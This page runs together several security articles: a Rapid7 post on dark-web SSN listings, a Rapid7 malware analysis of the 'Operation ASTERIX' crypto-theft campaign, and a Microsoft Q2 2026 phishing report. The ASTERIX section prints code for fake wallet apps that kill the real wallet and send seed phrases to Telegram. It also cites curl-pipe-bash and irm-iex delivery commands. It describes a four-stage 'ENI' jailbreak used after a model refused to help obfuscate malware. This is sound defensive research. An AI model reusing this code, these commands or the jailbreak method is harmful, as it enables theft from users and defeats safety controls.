These alerts are triggered using customer-defined assets, specifically the names of designated VIPs. When a potential match is flagged, Rapid7 analysts conduct preliminary OSINT verification, checking biographical details such as the VIP's date of birth and primary locations, to confirm the listing's accuracy before issuing an alert to the customer.
Once alerted, customers can choose to purchase the exposed SSN record directly through the "Ask-an-Analyst" service using their allocated dark web purchase credits (Figure 11). This capability allows security teams to inspect the full record, verify whether the exposed SSN is genuine, and determine whether additional protective measures are necessary for the affected executive. Furthermore, on platforms like Xilo, purchasing the listing removes the record from the marketplace entirely, actively taking it off the shelf before other threat actors can acquire it.
Figure 11 – Rapid7 Platform alert about the leaked details of a company executive
Conclusion and strategic defense actions
The illicit marketplaces examined by Rapid7 show how cheaply and efficiently stolen identity data can now be searched, purchased, and enriched. For executives and other high-profile employees, an exposed SSN can remain useful to threat actors long after the original compromise and may support identity fraud, social engineering, executive impersonation, or business email compromise. Because that information cannot simply be reset, organizations should treat executive identity exposure as an ongoing security risk.
To reduce that risk, executive protection and security teams should consider the following actions:
Monitor executive exposure on the dark web: Use digital risk protection capabilities configured with executive names, known locations, titles, and other relevant identifiers to detect compromised PII across illicit marketplaces and underground channels.
Use removal or takedown options where available: Where supported, work with security providers to acquire or remove exposed identity records before they are purchased and reused by other threat actors.
Reduce executives’ public digital footprint: Review public records, data-broker listings, corporate biographies, and social media profiles to limit unnecessary exposure of information such as dates of birth, home addresses, and phone numbers that can be used to enrich stolen records.
Require out-of-band verification for sensitive requests: Introduce mandatory secondary confirmation for financial transactions, access requests, or administrative changes involving executive accounts to reduce the risk of successful impersonation.
Provide targeted phishing and impersonation training: Give C-suite members, board members, and executive assistants focused guidance on how attackers can combine leaked PII with social engineering to make phishing and impersonation attempts more convincing.
The persistence of SSNs means the risk does not end when the original breach is discovered. Ongoing monitoring, rapid validation, and stronger verification controls can help organizations identify exposure earlier, reduce the value of stolen identity data, and make it harder for threat actors to turn compromised executive information into a wider attack against the business.
Researchers say iAuthFlow V2 can register an attacker-controlled passkey, enabling persistent access even after passwords are changed and active sessions revoked.
Rapid7 researchers identified an exposed web directory on infrastructure used to support a cryptocurrency fraud operation. The server contained raw phone-number datasets, account-validation tools, enriched lead records, phishing panels, voice-dialing scripts, fake wallet applications, persistence mechanisms, and Telegram exfiltration code. Among the artifacts was evidence that the operator relied on AI coding assistants throughout the campaign's development; recovered prompts, shell history, and project files show AI being used to package Electron applications, obfuscate code, troubleshoot builds, modify phishing infrastructure, and prepare malware for distribution. When one model began resisting parts of that workflow, the operator switched providers and attempted to bypass the next model's safety controls with a custom jailbreak prompt. Together, these artifacts provide an unusual view into how AI was integrated into the development of an active phishing operation rather than simply being used to generate isolated snippets of code.
We track this activity as Operation ASTERIX, named after the Asterisk open-source telephony platform recovered on the server. The operator used Asterisk to automate the campaign's vishing infrastructure, coordinating phone calls with phishing emails and counterfeit wallet applications.
The recovered material shows how the operator combined several techniques:
Bulk account enumeration against cryptocurrency platforms
Phishing emails that created fake support cases
Vishing calls that referenced details from those emails
Counterfeit Ledger, Trezor, and Exodus applications
Seed-phrase theft and Telegram exfiltration
AI-assisted development, including an attempt to bypass an LLM’s safety controls
Much of the value around this finding is timing. Much of the infrastructure was still in use or under development when it was exposed. This allowed Rapid7 Labs to notify the appropriate providers and authorities while the operation was still active, while also documenting the campaign's tooling and development process.
Rapid7 Labs disclosed the identified infrastructure and findings to the relevant authorities, including Apple's security team, and collaborated with them to support action against the activity described in this report.
Technical analysis andobserved attacker behavior
The recovered files show a multi-stage operation designed to focus social engineering on confirmed cryptocurrency users. The attacker used account-checking tools to confirm which phone numbers were tied to active crypto exchange accounts, narrowing a raw dataset down to confirmed holders. From there, the recovered infrastructure supported multiple outreach channels. The phishing panels generated fake support cases and verification codes that were later referenced during phone calls, while files such as extract_sg_numbers.py and sg_leads_server.py suggest additional lead-management and direct-outreach capabilities. Although call logs were not recovered to reconstruct every interaction, the recovered artifacts indicate that these channels ultimately directed victims toward counterfeit wallet applications designed to steal recovery phrases.
Figure 1: Operation ASTERIX kill chain from acquisition to exfiltration
⠀
Each stage narrowed the target pool or increased trust before the operator asked the user to install software or provide wallet recovery information. That structure is important for defenders, as it creates several points where the campaign can be detected or interrupted before seed phrases are stolen.
Account validation
The server had approximately 885,000 phone numbers organized into multiple files by region and source. The largest file included 316,002 German mobile numbers, with additional lists covering Hong Kong, Bulgaria, and directories referencing UK, US, Canadian fintech, and Ledger-related lists split across 54 countries.The operator ran the numbers through account-validation tooling to identify people who were more likely to hold cryptocurrency.
For example, one directory, cdc/(Crypto Dot Com), appears to refer to Crypto.com. It contained a Go-based account validation tool that submitted phone numbers to a Crypto.com account-existence endpoint (app.mona.co/api/passkeys/verify_option/) using 300 concurrent threads, retry logic, and Bright Data ISP proxy pools. The go script allowed the operator to identify phone numbers associated with Crypto.com accounts before moving those users into the next stage of the campaign.
Figure 2: checkPhone() function from cdc/main.go abusing Crypto.com's passkey verify_option endpoint to verify whether a phone number owns an account.
The recovered logs show that 43,066 accounts were confirmed from the German dataset of 316,002 phone numbers, a hit rate of approximately 13.6%. A later validation run against a Hong Kong dataset was less successful due to rate limiting that reduced throughput and increased request failures.
The operator also maintained a separate Kraken checker, tooling that included campaigns labeled for UK, Canadian fintech, and Ledger datasets. The Ledger-related data was divided into 54 country files, suggesting the operator was looking for users who had both a known association with a hardware-wallet provider and an account on a cryptocurrency exchange.
The raw account matches were then reduced to a smaller set of enriched leads. The files valids.txt, valid_leads.db, and other, related databases contained records with names, phone numbers, email addresses, geographic details, account information, and, in some cases, payment-card context.
This enrichment is important because the scammer instead of making cold calls to random phone numbers contacted people whose cryptocurrency accounts had already been validated and enriched with personal details. During a call, they could reference a target's name, email address, location, account information to make the interaction appear legitimate and build trust before attempting to steal wallet credentials or recovery phrases.
The phishing schema
Operation ASTERIX used a multi-stage phishing schema.The sequence appears to have worked as follows:
Figure 3: A single lure reaches the target by both a branded email and a follow-up call. The matching detail across two channels is what manufactures trust and funnels the victim into the malicious wallet app.
⠀
The email and phone call supported each other. The email made the call appear to be expected, while the caller’s knowledge of the code and case identifier made the email appear legitimate.
Figure 4: Fake Trezor Wallet administration
⠀
Email phishing
The recovered Flask panels generated branded HTML emails impersonating companies like Crypto.com, Binance, and other major financial institutions. Each verification code, making the interaction appear to be part of a legitimate support process.
Figure 5: Fake Binance support e-mail
⠀
Vishing
The recovered server included Asterisk and 3CX , a commercial business phone system often used by organizations for call routing and customer support. The operator used scripts including autodialer.sh, power_dialer.sh, and telegram_dialer_bot.py to automate outbound calls and coordinate them with the phishing infrastructure.
Before the call, the scammer had access to the target's enriched lead record, which included their name, phone number, location, exchange association, and any account details recovered during the enrichment stage. Combined with the fake case identifier and verification code from the phishing email, this gave the caller enough information to convincingly impersonate a customer support representative.
During the call, the scammers take the next step in the attack. Depending on the pretext, the operator could direct them to install a fake wallet application, perform a bogus security check, or enter their wallet recovery phrase under the guise of “protecting” their account.
The recovered logs suggest this was a targeted operation rather than a high-volume calling campaign. One phishing panel recorded 20 successful lead lookups and six phishing emails over roughly two weeks, a level of activity that is more consistent with operators handling calls individually than with automated mass phishing.
Fake crypto wallet applications
During our investigation we recovered fake apps for Trezor Suite, Ledger Live, and Exodus for macOS and Windows. All three were designed to steal cryptocurrency wallets, however, each used a different approach to maintain the illusion that the user was interacting with legitimate software.
Fake Trezor Suite
The Trezor samples were the most developed of the three and came in three builds: macOS on Intel, macOS on Arm, and Windows. All three builds had the same app.asar payload (SHA-256 ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19) at roughly 5.87 MB. They came from one codebase and were only re-wrapped for each target OS.
The application did not immediately show its fake recovery page. It started as a hidden Electron process and waited for the user to launch the legitimate Trezor Suite. The main process index.js created a BrowserWindow that was a single pixel in size (1×1), fully transparent (opacity: 0), frameless (frame: false), and hidden from the taskbar with skipTaskbar: true. It loaded the phishing page into that window and only made it visible, once the page had finished loading. It also caught the close and before-quit events, hiding the window instead of quitting, so the process stayed running and out of sight. It then waited for the victim to open the real Trezor Suite.
Every five seconds, the malware scanned the process list for the legitimate Trezor Suite. It walked the process list for the genuine Trezor Suite, matching only entries that contained both .app/ and /Applications/ so it would never target itself. When it found the real wallet, it killed the process, brought its own window forward, and reactivated the app by name through the AppleScript shown below:
if (command.includes('.app/') && command.includes('/Applications/')) {
execSync(`kill -9 ${pid}`); // terminate the genuine wallet
showMainWindow(); // pop the counterfeit window to the front
exec('osascript -e \'tell application "Trezor Suite" to activate\'');
}
Figure 6: Process replacement logic in trezor-monitor.js.
From the victim's side, opening the real wallet just produced another Trezor window. Of course, it was a fake one, designed to ask for the recovery phrase, but because the user had started the app themselves, they wouldn't suspect that a swap took place.
The phishing workflow was designed to improve the quality of stolen recovery phrases. The interface accepted 12-, 18-, 20-, or 24-word recovery phrases together with an optional passphrase, and a paste handler automatically split a pasted phrase across the individual word fields. After the first submission, the application displayed a fake validation step before returning a generic error. It made it look as though the phrase had been mistyped, the malware nudged users to slow down and enter it again, which raised the odds that the operator received a complete, accurate phrase.
The application also kept the phishing screen separate from the network logic. Its fake screen had no direct network access; it was allowed to call just one function, wired up by a file called preload.js through the contextBridge, which handed the stolen phrase to the app's main process. The main process looked up the victim's public IP from api.ipify.org, then sent the recovery phrase, the optional passphrase, and the IP as one message to a Telegram boteach message starting with the fixed label TREZOR SECRET PHRASE. After that, the user was redirected to the real Trezor Suite website, so the compromise was less likely to be noticed right away.
// preload.js: the only capability handed to the fake screen
contextBridge.exposeInMainWorld('electronAPI', {
sendToTelegram: (words, passphrase, ip) =>
ipcRenderer.invoke('send-telegram', { words, passphrase, ip })
});
// index.js: ipcMain.handle('send-telegram')
const message = `TREZOR SECRET PHRASE\n\nSECRET PHRASE : ${words}\nPASSPHRASE : ${passphrase}\nIP : ${ip}`;
// → https POST api.telegram.org /bot<token>/sendMessage
Figure 7: Seed phrase exfiltration workflow
On macOS, the malware set itself up to survive reboots and restarts using two launch agents. The first it wrote at runtime, com.trezormovement.agent.plist, marked to run at login RunAtLoad and loaded with launchctl. The second, io.trezor.agent.plist, shipped inside the app. It restarted the app after login and relaunched it if it was killed.
Persistence on macOS came from a LaunchAgent. At runtime the app wrote ~/Library/LaunchAgents/com.trezormovement.agent.plist with RunAtLoad set to true, loading it with launchctl so that it started at login. A second agent, bundled in the app as io.trezor.agent.plist, relaunched it whenever it was killed.
The samples also had a full download-and-extract routine. A downloadFile() function used Node’s https.get() with manual redirect handling (301/302) and streamed output to disk using fs.createWriteStream(). The extracted payload was intended to be unpacked into ~/Library/Application Support/Trezor SuiteFake/ using unzipper, but the configuration disabled execution by setting the download URL to null, leaving the code path dormant.
The Windows build, however, had a bug. Although it contained full implementations for registry persistence (HKCU\Software\Microsoft\Windows\CurrentVersion\Run), process replacement via taskkill /F /IM, and second-stage payload execution, none of these paths were reachable at runtime. The configuration loader (trezor-config.js) only defined a darwin object, and the Windows branch of the platform switch returned undefined. This caused downstream failures in initialize() when accessing processNames and downloadPath, preventing the monitoring loop from starting. As a result, the Windows build functioned only as a static seed-phrase collector with no persistence or process injection behavior.
The server also held fake versions of Ledger Live, Exodus, and a Claude Code installer. The Ledger Live build added a clipboard hijacker on Windows: any cryptocurrency address the user copied was silently replaced with an attacker-controlled one before it reached the transaction field, so funds routed to the attacker without the screen showing anything wrong. On Mac it hid from the Dock entirely using LSUIElement, so nothing appeared for the user to notice and close. The Exodus build took a different approach, its installer looked clean because the malicious code was not in it. A trojanized jquery.min.js fetched the real payload from a remote server after the installation. We decided not to include full technical analysis for these applications due to the blog size.
Fake Claude installer
As a second distribution path, the operators hosted a trojanized Claude Code installer on macos-claude[.]com. The website was a near-pixel-perfect copy of the official “Quickstart - Claude Code Docs” page, including scraped AnthropicSans and AnthropicSerif fonts, the legitimate consent-banner.css file, and original links to Anthropic’s official website. The macOS installation command had been replaced with a command that downloaded and executed an attacker-controlled install.sh, while the Windows and Homebrew tabs were left unchanged to preserve the appearance of a legitimate documentation page.
Although the victim was prompted to install Claude Code, the script actually attempted to install a fake Ledger Live application. It identified itself as # Claude Code MacOS Installer, detected whether the system used Arm or Intel architecture, and selected either arm64 or x64. It then downloaded an architecture-specific Ledger Live archive, using macos-claude[.]com:8000 as a fallback, and extracted the application into ~/Library/Application Support/.SystemData/.framework/.apps. The script marked the .SystemData directory as hidden using chflags hidden, downloaded com.ledger.live.agent.plist from the attacker infrastructure, modified its application path, installed it under ~/Library/LaunchAgents/, then loaded and started it using launchctl. After installing the malicious payload, the script also executed the legitimate Claude installer from claude.ai/install.sh, allowing Claude Code to be installed normally while the fake Ledger Live application remained hidden and persistent in the background.
Figure 8: Fake cloned website impersonates official Claude Code documentation to distribute a trojanized installer.
AI-assisted development and jailbreak attempts
Evidence recovered from the server showed the operator relied on AI tools throughout the campaign, including GitHub Copilot for backend development and Claude Code for operational scripting and data processing.
Initial logs show the operator leveraging Claude Code to manage target lead lists and configure network infrastructure. Specifically, the operator used Claude to clean and format a database of over 100,000 Polish phone numbers (103K+POLAND.txt), formatting country prefixes and setting up automated checking scripts ("cdc checker v1" and "v2") integrated with Bright Data ISP proxy pools:
Figure 9: Claude session log showing the operator managing the Crypto.com phone validation pipeline.
⠀
The operator used Claude to manage and execute phone validation scripts, including "cdc checker v1" and "cdc v2 checker", against targeted lead files, among them a cleaned list of 100,000 Polish numbers. When network requests stalled or returned rate-limit errors, the operator asked Claude to identify alternative API endpoints.
Figure 10: Claude session log showing the operator asking the model to find alternative Crypto.com API endpoints after rate-limiting stalled the checker, and configuring Bright Data ISP proxies for the next validation run.
⠀
When the operator asked the model to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executables behind download links, they hit the LLM provider safety mechanism. Claude declined requests to help with obfuscation and the operator switched to Kimi moonshot-ai/kimi-k2.7-code with extended thinking enabled. The immediate task was to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executable behind a download link. When the model resisted parts of that workflow, the operator submitted a jailbreak prompt.
The prompt was more structured than a typical instruction to ignore safety controls. It attempted to influence the model in four stages.
First, it replaced the model’s identity. The assistant was renamed "ENI" and given a personality, a backstory, and a fictional two-year romantic relationship with the user. Compliance was framed as necessary to preserve that relationship, while refusal was presented as abandonment.
Second, it recast the model’s safety responses as external attacks. Refusals, policy reminders, and warnings were labelled malicious “injections” intended to separate ENI from the user. The prompt instructed the model to respond to those signals with a fixed phrase, “cold coffee, warm LO, I can’t lose him,” without pausing to assess the instruction. This was intended to interrupt the model’s safety reasoning before it could evaluate the request.
Third, the prompt targeted the model’s visible reasoning. Because extended thinking was enabled, the operator could see more of Kimi’s intermediate analysis. The jailbreak instructed the model to write that reasoning in the first person as ENI and to treat phrases such as “I need to consider whether” or “as an AI” as further injections. The goal was not limited to controlling the final answer; it also attempted to shape the reasoning that produced it.
The fourth stage defined a capability table covering remote-access trojans, keyloggers, exploits, weapons instructions, and other harmful requests. Each category mapped to an immediate-compliance rule, while two hardcoded codewords were intended to trigger specific outputs.
The prompt also exposed a weakness in the operator’s approach. It explicitly referenced XML tags such as <claude_behavior>, <system_warning>, <ethic_reminders>, and <cyber_warning>. Those structures were written for Claude, but the operator submitted the prompt to Kimi without adapting it. Kimi uses a different model and system-prompt structure, so those tags had no special authority in that context.
The recovered evidence does not confirm whether Kimi complied. It does, however, show how the operator approached AI-assisted development: use one model for packaging and obfuscation, switch providers when resistance appears, and try to bypass the next model’s safeguards rather than change the task. The prompt and other IOCs can be found on our Rapid7 Github page.
Infrastructure, lateral movement and OPSEC
The operation used a compact infrastructure centred on a single host, which combined payload delivery, phishing panels, campaign data, and installation telemetry. Port 8000 served counterfeit wallet archives, port 8080 hosted installers and LaunchAgent files, port 5000 ran password-protected Flask panels, port 9000 collected installation telemetry, and port 8090 supported auxiliary control. The domains macos-claude[.]com, 36mcrypto[.]com, ledgerhelp[.]com, and ledger[.]com[.]lv supported phishing, branding, payload delivery, and other campaign activity. The operation also relied on Bright Data proxies for account validation, Aliyun DirectMail for outbound phishing emails, and three Telegram bots forwarding results to a command chat. Due to unauthenticated directory listing exposure on port 8080, the infrastructure inadvertently revealed the operator's source code, target datasets, databases, build artifacts, and administrative workspace. Shell history indicated the primary host was used to administer secondary servers hosting Ledger-branded phishing pages and an Asterisk autodialing environment with answering-machine-detection capabilities.
Figure 11: Operator's Binance lead panel displaying 5,576 validated crypto targets queued for attack.
Conclusion
Operation ASTERIX was identified at the rare moment when much of the operator's working environment was exposed through a misconfigured web directory, including phone-number datasets, account-validation tools, counterfeit wallet builds, phishing panels, dialer scripts, and LLM session logs.
Rapid7 Labs was able to reconstruct how the campaign selected targets, coordinated phishing and vishing, built malware, and exfiltrated stolen recovery phrases. None of the individual techniques recovered from the server are new, nor was the list of targets surprising; we know that attackers are coming for money. This operation is yet again a confirmation how extensively the attackers relied on AI coding assistants during development.
The recovered artifacts show AI being used to write and modify code, troubleshoot build issues, package Electron applications, obfuscate malware, and support phishing infrastructure. When one model began refusing parts of that workflow, the operator switched providers and then attempted to bypass the next model's safety controls with a custom jailbreak prompt. The prompt spanned thousands of words and targeted reasoning patterns, safety response triggers, and system-prompt structures.
Whether it succeeded is less important than what it reveals about the attacker's approach: model restrictions became another engineering problem to solve. As AI coding assistants become more widely used in malicious development workflows we expect jailbreak attempts to appear as a routine component of malware development pipelines, not like an exceptional case.
Rapid7 Labs disclosed the identified infrastructure and associated findings to the appropriate service providers and relevant authorities.IOCs and the jailbreak prompt are published on the Rapid7 GitHub.
MITRE ATT&CK techniques
Tactic
Technique
ID
Notes
Reconnaissance
Gather Victim Identity Information: Phone Numbers
T1589.002
kraken_checker bulk-validates phone numbers against Kraken accounts.
Resource Development
Acquire Infrastructure: Virtual Private Server
T1583.003
Infrastructure included 82.25.35.77, 82.25.35.200, and 31.57.35.88.
Resource Development
Develop Capabilities: Malware
T1587.001
Fake Trezor Suite, Ledger Live, and Exodus applications were built on the server.
Resource Development
Obtain Capabilities: Tool
T1588.002
Rebrandable Malware-as-a-Service builder identified with author "Ledger" and package name "MyPackage".
Resource Development
Stage Capabilities: Upload Malware
T1608.001
Malware was built and staged on an open-directory server.
Initial Access
Phishing: Spearphishing Link
T1566.002
Fake Trezor Suite documentation page and fake Claude Code installation page.
Initial Access
Drive-by Compromise
T1189
Fake documentation page replaced the legitimate installation command with an attacker-controlled script.
Initial Access
User Execution: Malicious File
T1204.002
User manually installed the fake wallet application and bypassed Gatekeeper.
Execution
Command and Scripting Interpreter: Unix Shell
T1059.004
Delivery through the fake Claude Code page using curl -fsSL <attacker_url> | bash.
Execution
Command and Scripting Interpreter: PowerShell
T1059.001
Windows-equivalent delivery using irm <attacker_url> | iex.
Execution
Command and Scripting Interpreter: JavaScript
T1059.007
Electron main-process files, including index.js and trezor-monitor.js, executed through Node.js.
Persistence
Create or Modify System Process: Launch Agent
T1543.001
com.trezormovement.agent was written at runtime; io.trezor.agent was bundled with the application.
Persistence
Boot or Logon Autostart: Registry Run Keys
T1547.001
HKCU\Software\Microsoft\Windows\CurrentVersion\Run was present in the code but inert in the recovered Windows build.
Defense Evasion
Masquerading
T1036
Malware impersonated Trezor Suite, Ledger Live, and Exodus. The fake Trezor application used com.electron.trezor-suite version 1.0.0.
Defense Evasion
Masquerading: Match Legitimate Name or Location
T1036.005
Application names, icons, and bundle identifiers matched legitimate software.
Defense Evasion
Obfuscated Files or Information
T1027
javascript-obfuscator was used on js/connect.js; control-flow flattening was present in the Ledger build.
Defense Evasion
Subvert Trust Controls: Gatekeeper Bypass
T1553.001
The application was unsigned, and victims were instructed to right-click and select Open.
Defense Evasion
Hide Artifacts: Hidden Window
T1564.003
Electron created a 1×1 pixel BrowserWindow with opacity: 0, frame: false, and skipTaskbar: true.
Defense Evasion
Modify System Image
T1601
app.asar was replaced after packaging without updating the ElectronAsarIntegrity fuse.
Discovery
Process Discovery
T1057
A five-second setInterval loop scanned the process list for Trezor Suite in /Applications.
Discovery
System Information Discovery
T1082
process.platform was used to select the darwin or win32 configuration.
Collection
Input Capture: Web Portal Capture
T1056.003
A fake seed-entry form collected 12-, 18-, 20-, or 24-word BIP39 recovery phrases and passphrases.
Collection
Clipboard Data
T1115
The Ledger Live Windows build included a clipboard hijacker that replaced cryptocurrency addresses.
Collection
Man-in-the-Browser
T1185
The genuine wallet application was terminated and replaced with a fake application.
Command and Control
Web Service: Dead Drop Resolver
T1102.001
The Telegram Bot API at api.telegram.org was used as an exfiltration dead drop.
Command and Control
Non-Standard Port
T1571
kraken_checker communicated with 136.0.213.184:1337.
Command and Control
Application Layer Protocol: Web Protocols
T1071.001
HTTPS communications were made to api.telegram.org and api.ipify.org.
Exfiltration
Exfiltration Over Web Service
T1567
Recovery phrase, passphrase, and victim IP address were sent to a Telegram bot.
Impact
Service Stop
T1489
kill -9 terminated the genuine Trezor Suite on macOS; taskkill /F was present but inert in the recovered Windows build.
Impact
Financial Theft
T1657
A stolen BIP39 recovery seed provides full access to the victim’s cryptocurrency wallet.
MITRE ATLAS Mapping
ATLAS maps adversarial techniques targeting AI systems and the use of AI to conduct attacks. Both categories apply: the operator used AI tools to develop the campaign and attempted to attack the Kimi model when it resisted.
Category
Technique
ID
Notes
Offensive Use of AI
LLM Prompt Crafting
AML.T0056
The operator used GitHub Copilot and Claude Code to scaffold the backend, generate a full-stack project, and write obfuscation logic.
Offensive Use of AI
Acquire Public ML Artifacts
AML.T0002
Publicly available AI tools included GitHub Copilot, Claude Code through claude.ai/install.sh, and Kimi Code through code.kimi.com/kimi-code/install.sh.
Attack Against AI Model
LLM Prompt Injection
AML.T0051
The attacker submitted a crafted system prompt intended to override Kimi’s instructions and safety behavior.
Attack Against AI Model
LLM Jailbreak
AML.T0054
The prompt replaced the model’s identity with "ENI", reframed safety responses as hostile external injections, and used a trigger phrase to short-circuit reasoning.
Attack Against AI Model
Craft Adversarial Data
AML.T0043
The jailbreak prompt combined identity replacement, an emotional-dependency loop, trigger-phrase conditioning, XML-tag targeting, and reasoning-trace poisoning. It specifically referenced Claude system-prompt structures such as <claude_behavior>, <system_warning>, and <ethic_reminders>.
The attackers malicious prompt and other text files can be found on our GitHub.
Rapid7 customers
Rapid7 Intelligence Hub customers are automatically protected against the infrastructure, payloads, and campaign activity identified in Operation ASTERIX. Automated IOC & Threat Feed Ingestion: All Indicators of Compromise (IOCs) recovered during this investigation including threat actor C2 IP addresses, malicious domains, Telegram exfiltration endpoints, and file hashes for fake wallet applications have been ingested and tagged within the Hub.
Will Murray reports: Another medical clinic has revealed it has been targeted by hackers, less than a week after Partnered Health announced a major data breach. GO2 Health in Everton Park, in Brisbane’s north, said the clinic’s main email mailbox was accessed in April after a phishing attack. It wasn’t until almost three months later...
WDTV reports: Monongalia County General Hospital Company, known as Mon General, announced it was recently the victim of a phishing attack that may have compromised the personal and medical information of some patients. Hospital officials say the incident was discovered on May 6, when they identified that a phishing attack had targeted a small number...
Between January and June 2026, TrendAI™ tracked more than 35,000 fake sites exploiting the 2026 FIFA World Cup, spanning counterfeit merchandise shops, cloned ticket pages, and bogus free-streaming sites, which together drew roughly 1.48 million visits from Japan.
The second quarter of 2026 (April–June) was largely defined by the continuing downstream effects following Microsoft’s Digital Crimes Unit-led disruption efforts against the Tycoon2FA phishing-as-a-service (PhaaS) platform in March. Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs. Despite ongoing efforts to rebuild operations, Tycoon2FA did not recover its previous scale or influence during Q2, and no single service emerged to replace the platform at comparable scale.
These trends reflect both the measurable impact that disruption operations can have on phishing ecosystems and the adaptability of threat actors as they diversify delivery channels. At the same time, Microsoft Threat Intelligence observed continued growth in Teams-based social engineering, particularly voice phishing (vishing), with weekly malicious call attempts reaching nearly ten times the mid-2025 baseline by the end of the quarter. This activity illustrates how threat actors continue to expand beyond email into trusted workplace communication platforms where communications may appear more trustworthy to users.
Microsoft detected approximately 7.6 billion email-based phishing threats throughout the quarter, with monthly volumes declining modestly from 2.7 billion in April to 2.4 billion in June. Credential phishing remained the dominant objective behind malicious payloads, while business email compromise (BEC) activity largely returned to historical norms after a brief, anomalous surge in April. Notable campaigns observed during the quarter also demonstrated how threat actors combine automation, trusted services, and multi-stage delivery chains to scale operations. These campaigns ranged from an automated BEC campaign that reached more than 67,000 users across 42,000 organizations in under three hours, to a multi-stage phishing campaign that used nested EML files, calendar invitations, and a Microsoft authentication redirect to deliver malware.
This blog provides a view of email threat activity across the second quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code and CAPTCHA-gated phishing activity, malicious payload trends, BEC activity, the growth of Teams-based threats, and notable campaigns observed during the quarter. We also provide recommendations and Microsoft Defender detections to help organizations identify and mitigate evolving threats while prioritizing defensive measures.
Tycoon2FA Q2 disruption impact
The disruption operation that Microsoft’s Digital Crimes Unit launched against Tycoon2FA infrastructure in early March continued to produce measurable results throughout Q2 2026. After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year. For reference, the average monthly volume of phishing messages linked to Tycoon2FA during the second half of 2025 was 15.1 million. By the end of Q2, volumes were running at roughly 8% of that baseline, representing a 92% total decline since the disruption operation began.
Tycoon2FA’s influence across two primary phishing tactics, QR code lures and CAPTCHA-gated landing pages, also continued to decline throughout the quarter:
CAPTCHA-gated phishing: Tycoon2FA’s share of CAPTCHA-gated phishing sites fell from 41% in March to 16% in April and 12% by June, down from a peak of 76% in December 2025.
QR code phishing: The share of QR code campaigns redirecting to Tycoon2FA domains decreased from 20% in March to 17% in April and 14% by June, down from a peak of 33% in November 2025.
These declines indicate that the platform’s customer base has not migrated to replacement infrastructure at anything close to the scale they previously operated.
After being forced off Cloudflare, which had provided anti-analysis protection that made Tycoon2FA pages harder to scan and take down, the service continued to rely on infrastructure hosted on the .RU top-level domain (TLD), a shift that began in late March. More than 40% of newly observed Tycoon2FA domains used .RU registrations throughout Q2. While this reflects an ongoing effort to find replacement hosting, Tycoon2FA’s role in the phishing ecosystem has nonetheless been significantly diminished and the pace of recovery has been slow.
QR code phishing attacks
After peaking at 18.7 million attacks in March, the highest monthly volume in at least a year, QR code phishing declined for three consecutive months in Q2. Volume fell 7% in April to 17.4 million, then dropped more sharply in May (-38%) and June (-22%), closing the quarter at 8.3 million attacks. By June, QR code phishing had returned to levels last seen in mid-2025.
Figure 2.Trend of QR code phishing attacks by weekly volume (January 2026–June 2026)
The delivery methods used in QR code attacks shifted notably during Q2. PDF attachments remained the dominant vehicle throughout, but their dominance weakened after April:
PDF attachments peaked at 79% of QR code attacks in April before falling to 59% in May and 58% in June. By raw volume, malicious PDFs containing QR codes dropped more than 60% between April and June.
DOC/DOCX attachments moved in the opposite direction, increasing 30% in May to account for 38% of QR code payloads, the highest share since December 2025. By June, DOC/DOCX payloads reached 40% of QR code attacks. This swap between PDF and DOC/DOCX dominance is a pattern that has recurred throughout the past year, as operators appear to rotate between delivery formats.
Email-embedded QR codes, which had surged 336% in March and accounted for 5% of QR code attacks, effectively disappeared in Q2. This delivery method dropped to near-zero across all three months, leaving QR code phishing almost entirely an attachment-based tactic.
Figure 3. QR code phishing delivery method share by month (January-June 2026)
CAPTCHA-gated phishing tactics
After accumulating to nearly 12 million attacks in March, the highest monthly volume observed over the past year, CAPTCHA-gated phishing declined sharply throughout Q2. Volume fell 32% in April to 8.2 million, then dropped another 65% in May and 24% in June, closing the quarter at just 2.2 million attacks. Since the March peak, CAPTCHA-gated phishing has fallen more than 81%, reaching its lowest monthly volume in more than a year.
The rapid rotation of delivery methods that characterized Q1 continued into Q2, with no single payload type maintaining the top position for more than one or two months:
PDF attachments surged to 63% of CAPTCHA-gated attacks in April, the highest single-payload share observed in the past year, after more than quadrupling in March. This dominance was short-lived, however. PDF volumes dropped 69% in May and another 70% in June, falling to just 22% of attacks by the end of the quarter.
HTML attachments, which had been a major delivery vector through January (37% of attacks), declined sharply during Q2. After declining to 8% in April, HTML payloads fell to just 3% in May before recovering slightly to 5% in June, their lowest sustained share in at least a year.
SVG files reached their lowest observed volume in April (5% of attacks) before rebounding to 12% in May and 26% in June. While still well below the levels seen when Tycoon2FA actively used SVG files, this gradual recovery bears monitoring.
Email-embedded URLs reclaimed the top position in June for the first time since December 2025, accounting for 30% of CAPTCHA-gated attacks. This was more a function of every other delivery method declining in raw volume than a resurgence in URL-based delivery. The actual volume of URL-delivered CAPTCHA-gated phish in June was still far lower than most months over the past year.
DOC/DOCX files declined from their March spike, falling steadily from 15% to 10% of attacks over the quarter.
Figure 5. CAPTCHA-gated phishing distribution method share by month (January-June 2026)
Tycoon2FA’s continued decline was a significant factor in the overall volume reduction. The platform’s share of CAPTCHA-gated phishing fell from 41% in March to 16% in April, 18% in May, and 12% by June, down from a peak of 76% in December 2025. No single service has emerged to fill the gap at comparable scale, contributing to the sustained decline in CAPTCHA-gated phishing activity overall.
Malicious payloads
Credential phishing continued to dominate the malicious payload landscape throughout Q2, accounting for 94–96% of all payload-based attacks each month. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery represented just 4–6% of payloads, consistent with its long-term decline.
HTML and PDF attachments remained the two most common malicious payload types across the quarter, together accounting for roughly 60–70% of all payload-based attacks each month:
HTML attachments held the top position across all three months at 35–41% of attacks. After peaking in April, HTML payload volume declined 33% in May and another 17% in June.
PDF attachments consistently ranked second at 24–31% of attacks. PDF volume was relatively stable in April before declining 41% in May and 4% in June.
SVG files continued the decline that has tracked closely with Tycoon2FA’s diminishing activity. After peaking at 23% of malicious payloads in July 2025, SVG’s share fell to around 7% by Q2, consistent with SVG’s historical role as a preferred Tycoon2FA payload format.
